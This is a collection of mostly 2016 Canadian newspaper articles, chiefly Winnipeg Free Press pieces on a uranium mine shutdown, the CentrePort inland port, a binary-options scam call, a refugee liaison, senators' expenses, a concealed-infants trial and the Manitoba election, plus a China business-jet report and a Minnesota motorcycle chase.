Rabbit Lake has produced more than 91 million kilograms of uranium concentrates since production began at the Saskatchewan facility in 1975.

Keeping Rabbit Lake in a state of care and maintenance and deferring well field development at our U.S. operations, rather than closing the operations permanently, gives Cameco the flexibility to increase production when market conditions significantly improve, the company said.

Gitzel said he travelled to the mine on Thursday to meet with employees.

Ive known many of them for decades theyve been working there, he said. Its a tough decision so I wanted to be there to explain it to them face to face. (Theyre) obviously disappointed, but they know our business, they know our company. Rabbit Lake is a higher cost mine and had a limited life.

(They) probably werent shocked by this decision but were really disappointed.
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This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

CentrePort Canada has released a business plan for 2016-17 that will start to put meat on the bones of what the planners of the inland port have always said it would become.

The announcement in January construction will begin later this year on the new 700-acre CentrePort Canada Rail Park anchored by a $25-million investment by BroadGrain Commodities Inc. will jump-start a number of other developments.

In addition to the rail park, the aggressive business plan for the coming year calls for about 2,100 acres of development, including 1,200 acres of new truck-served industrial parks and 260 acres on the west side of the Winnipeg Airports Authority campus.

RUTH BONNEVILLE / FREE PRESS FILES 'CentrePort already has 44 companies investing more than $220 million in building new capital operations, but this is really just the beginning,' says Diane Gray, president and CEO of CentrePort Canada Inc.

CentrePort already has 44 companies investing more than $220 million in building new capital operations, but this is really just the beginning, said Diane Gray, president and CEO of CentrePort Canada Inc.

Landing the anchor tenant for the rail facility will allow management to ramp up marketing for the development of a common-use rail facility that will utilize new CentrePort-owned switching onto CPs main line BroadGrain will also use.

Efforts are underway to engage a third-party rail-park operator for the first phase of the development by October.

The rail-park development is the top strategic priority for CentrePorts management. The new business plan calls for two anchor operators plus commitments from two additional anchors and seven other tenants by 2021 for the rail park. Development and operation of the rail park is hoped to provide a revenue stream for CentrePort that will ultimately allow it to be self-sufficient.

In addition to the rail park, CentrePort is hoping to continue to add tenants to three new truck-served industrial park developments that are ready to go. By 2021, CentrePorts goal is to land 12 major tenants and 76 other tenants invested or committed to invest, plus six new Foreign Trade Zone operations by 2021.

Aiding the new aggressive development prospects is the fact the new $43-million water-treatment plant is in the final stages of construction and is expected to be operational this year.

Planning is underway for the development of a shared-use distribution centre for Mexican produce and foods for distribution across Western Canada. CentrePort and three Mexican government business development agencies have formed an investment consortium to help Mexican companies access new markets.

With additional land available for development, CentrePorts marketing efforts will intensify this year, focused on attracting agricultural, warehousing, manufacturing and industrial developments.

Planning for residential housing development on the south side of the 20,000-acre inland port area is ongoing, and a new economic-impact study prepared by the Manitoba Bureau of Statistics shows a full build-out of CentrePort South would add nearly $1 billion in GDP and create 11,700 person-years of employment from construction activity alone.

martin.cash@freepress.mb.ca
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This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

TALK about a wrong number.

Last week, another Manitoban got a call from a scam artist urging him to invest big bucks in a supposedly risk-free investment product called binary options, which is a sort of wager where investors bet on the performance of an underlying asset  often a currency, stock index or share  and usually in a short period of time.

What the scam artist, who identified himself as Sean Bessi, didnt realize was the guy on the other end of the line was Jason Roy, the Manitoba Securities Commissions senior investigator.

WAYNE GLOWACKI / WINNIPEG FREE PRESS Jason Roy, a Manitoba Securities Commission senior investigator received a random call at home last week from one of these offshore investment scammers trying to get him to invest in binary options.

Bessi started to pitch me on the exact sort of illegal investments Ive been investigating for the past two years, Roy explained Wednesday. It was a bit surreal.

Roy said he kept the scammer on the phone for almost an hour by pretending he was interested in making an investment. All the while he was taking notes and gathering as much information as he could about the man and the company he claimed he worked for  Central Option  in hopes of later tracking him down and having him charged.

Roy said it was fascinating to hear first-hand how these scam artists try to dupe someone.

I can tell you, theyre very smooth, and theyre very nice on the phone, as everybody who is trying to separate you from your money is going to be.

He said after the con man helped him open a trading account, the scammer gave him a $100 credit so he could make a couple of trades and see how easy it was. Then he tried to convince Roy to wire him money or provide his credit card information so he could fund future transactions.

He said I would get a welcome bonus that I could get all of the money back, and that there wasnt any risk to funding the account, Roy said. He made four or five attempts to get me to fund the account (before) he realized I wasnt going to do it.

Roy told the man he wanted to think about it, and when he got to work the next day, he began an investigation. Although the man claimed Central Option had an office in Toronto, Roy quickly discovered that wasnt the case. He also discovered the Toronto phone number listed on Central Options website is an Internet-based number in Latvia and both the phone number and the website belong to a person in Israel.

Roy said he has since asked the securities regulator in Israel to take action against the person, but its too soon to say what will happen.

Were still at the sort of preliminary stages there.

He said he was telling his story to reinforce earlier warnings about the dangers of trading in binary options and in sending money offshore. He noted three Manitoba investors have lost a total of $160,000 over the last few months to unregistered, offshore binary-option firms, including a retired pipeline worker who lost about $100,000.

And thats likely just a fraction of the number of Manitobans who have been approached by these scammers, Roy said, since most never report it to the MSC.

He said one key thing to remember is there are no binary-option firms registered to sell securities in Canada. If approached, report it immediately to the MSC. Another is that before investing with anyone, check their registration status at: recognizeinvestmentfraud.com.

Further tips on how to avoid becoming a victim of investment fraud are also available at: recognizefraud.com.

murray.mcneill@freepress.mb.ca
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This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

In January 2010, Liibaan Ali paid a trucker in the United States to drop him off near the border. He walked into Canada at Emerson and filed a refugee claim.

No one could have guessed the Somali-born asylum-seeker would one day be the person hundreds of Syrian refugees in Winnipeg can call for help in the middle of the night.

Ali, who grew up in Syria, started volunteering at the Islamic Social Services Association this winter when the number of Syrian refugees arriving in Manitoba soared. Now hes working with ISSA as its refugee liaison to Manitoba Housing and Community Development and manning an Arabic phone line funded by the Red Cross that refers Syrian refugees to available services in Manitoba.

JOHN WOODS / WINNIPEG FREE PRESS Sahra Abdikarim Farah and her husband, Liibaan Ali, with their children (from left) Bayaan, Bushra, Bashaar and Bahja at home in Winnipeg.

Having a black man speak to them in Arabic with a Syrian dialect has come as a surprise to many, said Ali. Theyre so happy when I tell them where Ive lived, said the man from a suburb of Damascus. They say At least we have someone who can understand us and You get me, man.

Ali gets them, all right. His family fled civil war in Somalia in 1991 when he was 12 years old. At first, they went to Nairobi but were persecuted for being undocumented refugees. After a few months, they moved to Syria which, for a time, had opened its doors to citizens of Somalia, he said.

We had opportunities there  the right to education and health care, said Ali. I love the Arab people I grew up with.

Ali trained as a nurse, then went on to study anesthesiology. While in university, his family was offered refugee status in the U.S. He decided to stay where he was. But as more family and friends left Syria, he missed them and travelled to the U.S. in 2001. He made a refugee claim and was granted temporary status.

He lived and worked there for nine years: in Baltimore, for Dell in Nashville and at Handi-Transit in Phoenix where he met his wife, Sahra Farah. Her family fled Somalias civil war when she was a little girl. She had married an American and was working at Walmart after the man divorced her, leaving her status in limbo. She and Ali married and had a baby girl, who is a U.S. citizen. When Alis immigration to the U.S. was rejected, he faced removal to Somalia. His wifes green card would expire in a year.

We had to make some big decisions.

He headed for Canada, paying a Latino trucker $1,800 to take him. In Winnipeg, human rights lawyer David Matas agreed to take his case. He obtained a temporary work permit. His wife and daughter joined him. He worked as a security guard, with autistic kids for New Directions and at a meat-processing plant in Brooks, Alta. He and his wife had two more daughters.

Canada at first rejected Alis refugee claim. Matas appealed the ruling. After nearly being sent to Somalia where he hasnt lived since he was 12, Ali was allowed to stay.

His wife was next. Her 2013 Immigration and Refugee Board claim was heard by Gordon C. McRae, a former RCMP officer with a record for rejecting most of the cases he heard. McRae was included in an Osgoode Hall law professors 2012 study of all the 2011 IRB decisions. It found the person hearing the case more than anything determines whether or not refugees will be allowed to stay in Canada.

At Farahs hearing, she testified she feared being sent back to Somalia because its unsafe  especially for women in a country terrorized by Al Shabaab extremists and where female genital mutilation is common. Farah sobbed as she told McRae she feared most for the health and safety of their three daughters. His response was Somalia had become a much more peaceful place, and shed be no less safe there than any other Somali woman.

He rejected her claim. It was appealed, using reams of articles and information about the violence and instability in Somalia. Farah was granted refugee protection in Canada. Now she and Ali have a young son, their oldest daughter is in school and the girls are thriving.

They like to shop  they love Ikea, Ali said after spending his day off there with his family.

Ali is on contract with ISSA as a go-between and interpreter working with landlords renting to Syrian newcomers and helping the refugees with their resettlement. He has had calls in the middle of the night, he said. Once it was from a landlord complaining about little kids running up and down the apartment hallways and outside shoeless.

He was threatening to call police, Ali said. He got up and went there and explained to the family they cant let their kids run off steam like that. If they see kids running outside without shoes, theyll call social services.

Ali said hes heartbroken by the Syrian refugee crisis, and hes happy and grateful to be helping families who fled the country that once helped his family.

One of the agencies helping the refugees is grateful to have Ali and his experience.

Liibaan (Ali) has been a godsend at a time when we needed someone to assist and help with the Syrian refugees, said ISSA executive director Shahina Siddiqui. (He) turned out be the best fit; he speaks Arabic, lived and studied in Syria and had the refugee experience, she said.

carol.sanders@freepress.mb.ca
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This article was published 21/04/2016 (2376 days ago), so information in it may no longer be current.

OTTAWA  Two former Manitoba senators could still be sued to recover monies they claimed for second homes in Ottawa despite an Ontario Court judge determining Thursday the Senates rules did not specifically outline what constituted a primary or secondary residence.

Sharon Carstairs and Rod Zimmer are among the seven former senators who have yet to repay more than $527,000 that auditor general Michael Ferguson said they improperly claimed as expenses between April 1, 2011, and March 31, 2013.

Carstairs owes $7,528 and Zimmer owes $176,014. All of Carstairs amount and most of Zimmers came from travel to Winnipeg or secondary residence claims for Ottawa homes. Ferguson said the claims were improper because neither senator spent enough time in Winnipeg to claim it as a primary residence.

COURTNEY CAMPBELL/WINNIPEG FREE PRESS FILES Former senator Sharon Carstairs

The Senate had given senators until Thursday to repay the money or face legal action. In a statement Thursday, senators Leo Housakas and Jane Cordy, the chair and co-chair of the Senates internal economy committee, indicated legal action has not yet been launched but is still intended.

However, the verdict Thursday clearing Sen. Mike Duffy of 31 charges of fraud, bribery and breach of trust related to his expenses has given the senators a strong defence in court, says University of Ottawa law expert Errol Mendes.

Absolutely it does, Mendes told the Free Press in an interview. He says the rules were so lax.

In his 308-page ruling that took much of the day to deliver, Justice Charles Vaillancourt determined the Senate had no specific rules that defined what constituted a primary residence. Neither was there a requirement for a senator to spend a certain number of days in his or her home province in order to make expense claims for living costs while attending Senate business in Ottawa.

Those arguments were also made by Carstairs and Zimmer in their written responses to the audit last June. Zimmer accused Ferguson of interfering with the Duffy trial, where the issue of residency and the interpretation of the Senate rules concerning residency are central to the proceedings.

Mendes said the Senate might do better to look forward, rather than backwards at this point, and take the time to improve the rules so this kind of thing cant happen again.

THE CANADIAN PRESS FILES Former Manitoba senator Rod Zimmer

My strong advice for the Senate is to clean house, he said. This ruling is as important to the Senate as is it is to Sen. Duffy.

Neither Zimmer nor Carstairs have spoken publicly about the audit findings outside of their written responses included in the audit report. Two different sources have told the Free Press Zimmer is in extremely poor health and cannot respond currently. Carstairs has not returned repeated phone calls.

mia.rabson@freepress.mb.ca
Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

The Winnipeg woman accused of secretly giving birth to six babies  then storing their remains for years in a locker  would often talk about how she hated being pregnant and wanted to self-abort, court has heard.

Danielle Devereaux took the witness stand Friday to discuss her relationship with Andrea Giesbrecht. The two women met in 1996 while working at Pioneer Grain and developed a close friendship that lasted until 2000.

Devereaux described a bizarre series of events around 1997 which began with Giesbrecht phoning to say she wouldnt be coming into work because shed just suffered a miscarriage while walking down the street.

SUBMITTED PHOTO Surveillance footage of Andrea Giesbrecht from the McPhillips Street U-Haul in Winnipeg on October 3, 2014. The footage was supplied as evidence in the trial.

She said there was blood on the sidewalk, said Devereaux. Months later, Giesbrecht disclosed that she was pregnant once again  but didnt want to keep the baby.

She talked about how to abort the baby, Devereaux told court. This included punching herself in the stomach or using a coat hanger to self-abort, she said. Giesbrecht also discussed throwing herself over a chair to do it.

Giesbrecht also begged Devereaux not to tell anyone she was pregnant, including her then-boyfriend who would go on to become her husband.

She was hiding it from Jeremy. She never said why, she said. Devereaux said she now regrets staying silent.

I thought if I did tell shed say I would never do that, youre crazy Danielle, she said. I was 18, 19 years old. This was all very unusual. I didnt know how to handle it.

Devereaux said Giesbrecht would wear sweaters to conceal a small baby bump, but that she only gained one clothing size during that pregnancy and it wasnt obvious to anyone.

Devereaux said she next heard from Giesbrecht on Dec. 30, 1997. She had just gone into labour and delivered a boy in hospital. At that point, her boyfriend had been called to notify him of a pregnancy he apparently had no idea about.

Devereaux said Giesbrecht was prepared to give the baby up for adoption and spoke with social workers in hospital about her options. She eventually decided to keep the boy after discussing the issue with her boyfriend and parents. That boy is now her 18-year-old son. Giesbrecht would go on to give birth to another boy five years later.

She talked about how to abort the baby (including) punching herself in the stomach or using a coat hanger to self-abort Danielle Devereaux, friend of Andrea Giesbrecht

Devereaux was asked if there were any other pregnancies she knew about. She told court there werent, but that Giesbrecht would often call in sick during the four years they worked together. She also said Giesbrecht had major gambling and financial issues which included her pawning off her engagement ring for cash.

Giesbrechts husband appeared in court Friday under subpoena from the Crown and is expected to be the next witness. There were initially concerns he may not show up. However, his much-anticipated testimony wont occur now until later this summer, as the trial was only set for five days but theyve run out of time. Additional days in July or August are now going to be set.

The trial has previously heard all six babies found in the U-Haul storage locker rented by Giesbrecht could have been alive when born. Dr. Michael Narvey, a neonatologist at the Childrens Hospital and the University of Manitoba, testified that he came to this conclusion after examining autopsy reports and photos of the bodies.

Narvey said the bodies were so decayed he could not determine the cause of death. He testified that from what he could see the babies were structurally normal and they were all born between 34 to 42 weeks into pregnancy. He did not find any genetic abnormalities.

Dr. Sharon Naugler, the head of obstetrics at the Health Sciences Centre, has also testified that the odds of Giesbrecht having six stillborn babies was 1.5 in 100 trillion. But Naugler added that because all six babies  five boys and one girl  were almost full-term babies, the actual chance is one in 500 trillion.

Any way you look at it, it is astronomically small. I would say medically impossible. Just impossible, she said. Naugler also said laboratory records of Giesbrecht from a 2002 pregnancy showed no signs that she would have any problems with a future pregnancy. Naugler also said it is impossible for anyone to kill an unborn, full term fetus without doing major harm to the mother.

Giesbrecht, 42, is charged with six counts of concealing a childs body. Police had originally said they may charge her with murder, but that never occurred.

MIKE DEAL / WINNIPEG FREE PRESS FILES Andrea Giesbrecht, 42, leaves court Monday afternoon after she appeared on six charges of concealing a childs body.

Court has heard the official causes of death have been listed as undetermined. DNA profiling matched the human remains of all six bodies to a sample taken from a used sanitary napkin seized from Giesbrechts home and a voluntary blood sample provided by Giesbrechts husband, suggesting they are the parents of the babies.

Defence lawyer Greg Brodsky has previously said he believes the remains are likely more than a decade old. He is challenging whether the state of the infants meets the legal requirement to prove the charges against his client.

Brodsky revealed in court earlier this week that his clients medical records show she had 10 legal abortions between 1994 and 2011. The relevance of mentioning those abortions isnt clear at this time, but may emerge later once lawyers get into final arguments. There is no suggestion the remains in the storage locker are connected to those procedures.

www.mikeoncrime.com
Opinion

Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

If you want to see the pure embodiment of human joy, look at the face of a small child receiving a present. Witness the embrace of siblings, reunited after a lengthy separation.

Or check out a reporter at the conclusion of an election campaign.

OK, maybe not all reporters, and certainly not all elections. But at the risk of sounding like a whiny, ungrateful hack who ought to feel lucky to retain a job, I could not wait to see the backside of Manitobas 2016 election campaign.

MIKAELA MACKENZIE / FREE PRESS FILES The report concluded Hydro was partly responsible for the destruction of Netley-Libau Marsh.

This is not because of the character assassination that blemished the final days of New Democratic Party rule and cast outgoing Premier Greg Selinger in the same light as former Progressive Conservative prime minister Kim Campbell (who went infamously negative during the 1993 federal election campaign with utterly disastrous results for her party).

And its not because of premier-designate Brian Pallisters inexplicable inability to initially come clean on the simple question of how much time he spends away from the province  an artless deception that cast our new and powerful leader in the same light as former Winnipeg mayor Sam Katz, who was also troubled tremendously by this simple question.

Rather, for me, the 2016 provincial race was over on the final day of the 2015 federal campaign.

On Oct. 19, Justin Trudeaus Liberals surprised many Canadians and perhaps themselves by claiming the partys first majority in more than a decade.

Earlier that day  as Manitobas diminished print and broadcast media were preparing to marshal resources to cover the election results  the Selinger government pulled one of those sleazy public relations moves that have the potential to transform innocent, gentle-hearted reporters into gruff and scruffy cynics as Manitoba Conservation and Water Stewardship released the long-awaited (and complex) Clean Environment Commission report into Manitoba Hydros regulation of water levels on Lake Winnipeg.

While the report absolved the provincial Crown corporation of the responsibility for flooding and erosion along the provinces largest lake, it also concluded Hydro was partly responsible for the destruction of Netley-Libau Marsh, one of the worlds largest freshwater coastal wetlands, and should take unspecified but likely expensive steps to restore it.

Even more dramatically, the Clean Environment Commission report looked beyond its Hydro-regulation mandate to recommend the province undertake environmental assessments on flood-mitigation measures across the Lake Winnipeg watershed, including the Shellmouth Dam and Portage Diversion, which were completed decades ago, and quite possibly the forthcoming Lake Manitoba-Lake St. Martin floodway.

Burying the document on federal election day meant only one media outlet, the Winnipeg Free Press, had the capacity to actually read it and report on the conclusions in a substantive manner.

But without the multiplying effect of coverage from several media outlets, the key findings  Manitoba Hydro has screwed up the provinces largest wetland and, oh, pretty much every dam and channel built between the Saskatchewan border and the provincial capital over the past four decades ought to undergo a comprehensive environmental review  would largely go unnoticed by the vast majority of Manitobans.

This was not a coincidence. Outgoing NDP Conservation and Water Stewardship Minister Tom Nevakshonoff (who lost his long-held Interlake seat to a Progressive Conservative candidate Tuesday), conceded the Clean Environment Commission report had been sitting on his desk since Sept. 11.

He and his spokespeople claimed they didnt release the report earlier because a) the minister had other things to announce last September and October; b) environmental activist David Suzuki was in Winnipeg the previous week; c) a beloved member of Nevakshonoffs staff had died.

Outgoing NDP deputy premier Eric Robinson, the minister responsible for Manitoba Hydro as well as aboriginal and northern affairs, was not present at the Manitoba legislature the day the report was made public. Robinson, who lost his Keewatinook seat Tuesday to a Liberal, stated weeks later he had yet to read the report and responded with anger when he was questioned about its recommendations.

This was remarkable, considering the report reconfirmed Lake Winnipeg regulation is responsible for erosion and other detrimental effects on indigenous communities located along the upper Nelson River and Manitoba Hydro channels north of the lake  and the Crown corporation ought to study and control that erosion.

In sum, the ministers most affected by a remarkably wide-ranging, blunt, and highly significant environmental document either did not see fit to have it read by the public or read it themselves.

As a newbie at the Manitoba legislature, filling in before the election, I was astounded. In seven years covering city hall, powerful public servants occasionally buried important reports, but elected officials would never dare to go down that road.

But I held my tongue. An election was coming, and I was reporting at the legislature, not writing columns about it.

While I dont possess much power, I didnt want to have any influence whatsoever on Tuesdays outcome.

bartley.kives@freepress.mb.ca
A visitor studies a model of airplane manufactured by ATR at the ongoing 16th edition of Beijing International Aviation Expo in Beijing, the capital of China on Sept 16, 2015. [Photo/Chinanews.com]

China will likely see a demand of 2,300 business jets over the next five years, sending the market scale to $103.5 billion, said Minsheng Financial Leasing and Hurun Research Institute in a joint report.

Such forecasts come despite the ground reality that only 300 business jets operate in the country against a total of 1,420 affordable buyers.

"Business aviation in China has enormous potential," said Rupert Hoogewerf, chairman of Hurun Report, a study targeted at Asia's high net-worth individuals, adding that the market demand will increase from 1,750 to 2,300 over the next five years.

Major reasons hindering the purchase include difficulties to locate flight plan approval and landing rights, and being caught under the spotlight amid the anti-corruption drive, according to the 2016 China Business Aviation Special Report.

Among Chinese business jet buyers, time efficiency and sense of independence are factors they value most, added the report.

"China's business jet market is growing steadily," said Jean-Michel Jacod, CEO of aviation company Dassault Falcon.

The bullish view also comes as Huren Institute estimates China to have 970 dollar billionaires and 5,600 individuals with net worth over $300 million. The number of billionaires who can afford an average $45 million jet will likely reach 1,850 by the year 2021.
Hey there, time traveller!

This article was published 15/04/2016 (2382 days ago), so information in it may no longer be current.

Brian Pallister is defending his lengthy absences in Costa Rica as private time with his family, and insists his wife and children have the right to privacy.

Pallister said Friday that even though he spent 240 days since 2012 in Costa Rica, the time there was dominated by his work as Opposition leader.

Pallister acknowledged that he had been at his vacation property in Costa Rica during the 2014 flood. But he would not apologize to the people of Manitoba for having claimed to be elsewhere during some of the time he spent on holiday.

Pallister said he promised his father that he would protect his familys privacy when he went into politics.

Like all working people, I wrestle with the balance between working time away from my family, and time with my family, he told a news conference called to discuss the Conservative plan to provide better public services.

Asked about being in Costa Rica during the flood  Pallister had said at the time that he didnt want to politicize the crisis by visiting the flood-fighting epicentre and that he was at a family wedding in Alberta  the Tory leader said, Its a fair question. I struggled with the balance between the medias need to have information and my familys need for privacy. Its the balance between peoples right to know and the familys protection. Its an obligation to protect my family.

Reaction Friday from both Liberal Leader Rana Bokhari and NDP Leader Greg Selinger was swift.

Youre lying to people. Theres no two ways about this. Youre lying, Bokhari said. People need to trust their leadership.

She said Pallisters long absences from the province are quite astounding and show hes been a part-time Opposition leader and would be a part-time premier.

If youre not in the legislature, you really should be in your constituency, making sure that the people of your constituency know that youre working for them. Hes done neither, she said.

Selinger said Pallister should have told the truth.

He shouldnt have covered up about where he was. He had more than one opportunity to be transparent about that and he refused to do it until this came out this week, the NDP leader said, adding Manitobans pulled together during the flood, doing all they could to protect affected communities while Pallister was on vacation.

Volunteers were showing up in droves. People from Hutterite colonies (were) filling the sandbags. Civil servants were busing out there after they finished work to help out. The prime minister (Stephen Harper) came in. I talked to him about bringing in the troops and the troops came in.

It was obvious to everybody that this is the time when you step up when youre a leader to show that youre there for people.

Selinger said he understands that politicians want to protect their familys privacy, but its not a reason for misleading the public about their whereabouts.

It indicates to me that he knew there was something wrong with what he was doing, and he wasnt prepared to disclose it, he said.

During the flooding state of emergency in 2014, Milton Sussman, then clerk of the executive council, the provinces chief bureaucrat, sent a bulletin to all government employees urging them to join the flood-fighting effort.

Bokhari said Manitobans would have a very tough time stomaching an explanation that being there for people in crisis would be seen as a purely political act.

When the people of our province are in crisis, that means no partisanship. That means every member of the legislature, that means everyone gets together and works towards helping the people of our province. Thats leadership, she said.

Pallister said that he would probably not spend nearly that much time in Costa Rica should he become premier. He acknowledged that 240 days at his vacation property since 2012 sounded accurate, and told the assembled media that he didnt question their right to be asking him about his time in Costa Rica.

BORIS MINKEVICH / WINNIPEG FREE PRESS Progressive Conservative Leader Brian Pallister at Friday's press conference.

I respect the work you do, deeply. I also am a dad and a husband, Pallister said. Finding that balance is really a challenge.

Pallister said he does not conduct any form of commercial business while he is in Costa Rica, and there is no public money involved in his time there.

He said his family saved up for 30 years for the Costa Rican vacation property they hope will be their retirement home. Going there was an opportunity for Pallister and his wife to spend as much time with their children as possible while they were young, he said.

Pallister said he works 60-hour weeks on the publics behalf. He has never been in Costa Rica while the legislature is sitting, he pointed out, and works as Opposition leader while he is away, for far more hours than his wife likes.

Im probably a workaholic; I work every day, he said, adding that ethic helped him rise from poverty. Most people work regular hours  I dont.

Pallister said he writes speeches while in Costa Rica, and he researches to familiarize himself with the details of government.

Pallister did offer an apology to one person  Free Press reporter Bartley Kives. In a recent interview, Pallister told Kives he was last outside of Canada in 2015 when he went to North Dakota, but had taken two trips of 24 and 15 days to Costa Rica since then.

I got it wrong; I got the dates wrong, Pallister said. I owe Bartley Kives an apology.

Myrna Driedger, the Tory candidate in Charleswood and a longtime MLA who would likely be a member of a Pallister cabinet, said Friday that she has never been unable to get hold of Pallister when she needed to talk to him.

Its not like we track each other, she said. When the legislature isnt in session, We all go about what were doing, any given day. I have never actually wondered where he is, because he works so hard.

Driedger said voters would accept that Pallister is in Costa Rica to enjoy family time:

I think the public can relate to that, she said.

nick.martin@freepress.mb.ca

larry.kusch@freepress.mb.ca
Opinion

Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

OTTAWA  With the Tuesday demise of Greg Selingers NDP government in Manitoba, Canadas left was dealt another big blow.

The Manitoba NDP, in power for nearly 17 years, had been held up by New Democrat faithful across the country as the bright light to which they should all aspire. Now, the only NDP government in office is in Alberta. Matched with the federal NDPs electoral collapse last fall and its current polling positions, there are a lot of long faces on Team Orange.

It happened in a flash. Not quite a year ago, the NDP faithful were dancing in the streets as Rachel Notleys win in Alberta had seemed as likely as a unicorn riding across Scotland on the back of the Loch Ness Monster. There was optimism in the air for gains in other elections. Alberta was a sign, many thought, of bigger and better things to come. Canadians seemed to be giving new thought to the NDP  and the partys national polling numbers soared.

WAYNE GLOWACKI / WINNIPEG FREE PRESS FILES Premier Greg Selinger meets media outside his office Wednesday after the NDP was soundly defeated in the 2016 provincial election.

Heading into the 2015 federal election, the NDP was the team to beat.

It all went very, very wrong.

Here we are today, with the NDP in third place in Parliament, in government in only one province and in official Opposition (sometimes known as government-in-waiting) in just three more. In three provinces, the NDP doesnt have a single seat.

Tom Mulcair, the centrist NDP leader who some felt was the best hope to lead the party into power, is on his way out. Notleys popularity is dropping in the wake of a struggling provincial economy. The Manitoba NDP needs to rebuild. The Saskatchewan NDP didnt gain any traction against Brad Walls popular Saskatchewan Party earlier this month.

There is a glimmer of hope in B.C., as the NDP leads many opinion polls with an election about a year away. Of course, the NDP had a 20-point lead going into the B.C. election in 2013 and still ended up losing.

All that said, the NDP may be down, but its way too premature to count it out. Just ask those who said that of the federal Liberals before last October.

When you looked across the country, things looked bleak for that big red tent in 2011. The Liberals were in third place in the House of Commons. They held government in four provinces, but three of those were tenuous, with polls favouring a Liberal defeat in B.C., Ontario and Quebec. The party had zero presence in Saskatchewan and very little presence in either Alberta or Manitoba.

Look across the country today, and it may be the best time ever to be a Liberal. (Yes, some would say, even in Manitoba with the gains made Tuesday.)

The Liberals currently own four of every 10 seats in provincial legislatures. They have majority governments in seven provinces, as well as in Ottawa. Expected defeats never happened in B.C. or Ontario. The Quebec Liberals lost but took government back just 19 months later.

They still dont have much presence on the Prairies, but from Ontario east its a sea of red at both the provincial and federal level.

Pundits like to write parties off, but its a dangerous and ultimately useless game. Politics is not static. Neither are political parties. Most voters are not partisans. What may seem like an easy analysis to make today could change overnight depending on the next scandal or natural disaster or pop-culture trend. Todays popular prime minister could be tomorrows punchline. Todays underdog could be tomorrows winner.

So it may not be a fun time to be on Team Orange; the wounds are deep and the road ahead is steep. Maybe the NDP squandered its best chance to form government in Ottawa and will never be that close again  but maybe it didnt.

Predicting which one is true is an errand better left for the fools.

Mia Rabson is the Free Press parliamentary bureau chief.

mia.rabson@freepress.mb.ca
Hey there, time traveller!

This article was published 21/04/2016 (2376 days ago), so information in it may no longer be current.

Liberal Leader Rana Bokhari isnt quitting  and the party hierarchy has not asked her to go.

A beaming Bokhari stepped out of the Liberals Molgat Place headquarters Thursday evening and laughed as though the notion of her stepping down was one of the silliest ideas shed ever heard.

No, said Bokhari. Were going to go forward. Were excited.

PHIL HOSSACK / WINNIPEG FREE PRESS Manitoba Liberal leader Rana Bokhari speaks outside the Liberal Party offices Thursday evening, saying she'll stay on as Liberal leader.

She said there was no talk of her resigning and she did not offer to resign. We talked about the results, we talked with our new MLAs, said Bokhari, pointing out that the Liberals went from one seat to three Tuesday night and almost doubled their popular vote from the 2011 election.

The partys executive board members did not have the authority to fire her Thursday evening. Bokhari acknowledged there will be an annual general meeting a year from now, but she does not expect any challenge to her leadership then.

It was a very positive meeting, agreed veteran MLA and former leader Jon Gerrard, who said he and new MLAs Cindy Lamoureux (Burrows) and Judy Klassen (Kewatinook) will work together in the legislature with no one in charge.

Party president Paul Hesse confirmed the issue of Bokharis leadership did not come up and there was no call from the board members present for Bokharis resignation. No one did, he said.

It was a really positive meeting. We celebrated their election, we talked about the momentum going forward. The highlight was celebrating the election of the three MLAs.

Hesse said those present  whom he did not name  talked about engaging the candidates and volunteers who had made Tuesday what the Liberals are calling a success. Bokhari finished third in the Fort Rouge riding she chose to contest. NDP candidate Wab Kinew won the riding.

Hesse was less forthcoming when asked whether the party has the money to pay Bokhari to be leader.

Look, Ranas the leader, and it was a very positive meeting, he said.

Hesse said the Tuesday evening session was a debriefing of the election. Bokhari met with the three caucus members Thursday, Hesse said, but there have been no plans made yet of how the Liberals will handle their legislature duties, the leaders role in that, or of Bokharis contesting any future byelection to try to get a seat.

Bokhari had not made any public appearances since Tuesday night. She briefly went to the partys election night headquarters to hold a short media scrum, but did not deliver the traditional leaders concession speech and did not offer public congratulations to premier-designate Brian Pallister.

The Liberals must have four seats to qualify for official party status in the legislature, which carries significant additional resources ranging from paid staff and more office space to the right to ask questions in the daily question period.

Bokhari has not announced plans for any public events or news conferences.

BORIS MINKEVICH / FREE PRESS FILES Liberal Leader Rana Bokhari held a quick scrum after the election.

The Liberals were far higher in the polls when the campaign started, and had legitimate hopes of challenging the NDP for official Opposition status.

But from Bokharis first campaign event moments after the writ was dropped, it appeared she was not a polished speaker and offered policies that had not been well-researched or fleshed out with details. The 39-year-old lawyer had no previous political experience.

The Liberals had few staff and little evidence of money available for the campaign. Bokhari made one trip to Brandon but mainly stayed in the central part of Winnipeg for campaign announcements.

The Liberals came into the election holding only Gerrards seat in River Heights.

It was a blow to the partys credibility when the Liberals lost five of their 57 candidates at the nomination deadline  three had not done their paperwork properly, a fourth missed the deadline, and a fifth was disqualified for having violated election rules by working as an enumerator in this election. Bokhari had to fire a sixth candidate when new details emerged about a domestic assault in his past.

There was also embarrassment for the party when Brandon West candidate Billy Moore called for hospitals to be closed, then later claimed it was a publicity stunt. Moore, 76, lives in Portage la Prairie and filed his nomination papers two hours before the deadline.

nick.martin@freepress.mb.ca
Fear of his father caused a 20-year-old college student to lead sheriffs deputies on a high-speed chase Thursday, according to the Winona County Sheriffs Department.

Winona County Sheriff Ron Ganrude said the man, a Saint Marys University student from Illinois, told deputies he was scared of my dad, not you guys, after admitting to fleeing the deputies on an unregistered, uninsured Kawasaki motorcycle.

Two deputies were doing routine patrol on state Hwy. 43 near Silo Drive when they encountered two motorcycles clocked at 75 mph in a 55 mph zone, Ganrude said.

When the deputies attempted a traffic stop the red bike pulled over, but the black bike, lacking a rear license plate and rearview mirror, accelerated onto eastbound Interstate 90. The deputies pursued and the rider exited onto Hwy. 43, where deputies lost sight of him and broke off the chase.

The deputies then turned their attention to the second rider, who identified the other rider as Mickey and told officers they would find him at Saint Marys, Ganrude said. They further identified Mickey from his Facebook page, gave the rider a warning for speeding, and drove to the Saint Marys campus location they had been given.

They located a black-and-blue Kawasaki with no rear license plate or rear-view mirror parked on a patio behind a campus building, engine still hot, tires still warm. While they were examining the motorcycle, a young man came up and demanded to know what are you doing with my bike, Ganrude said.

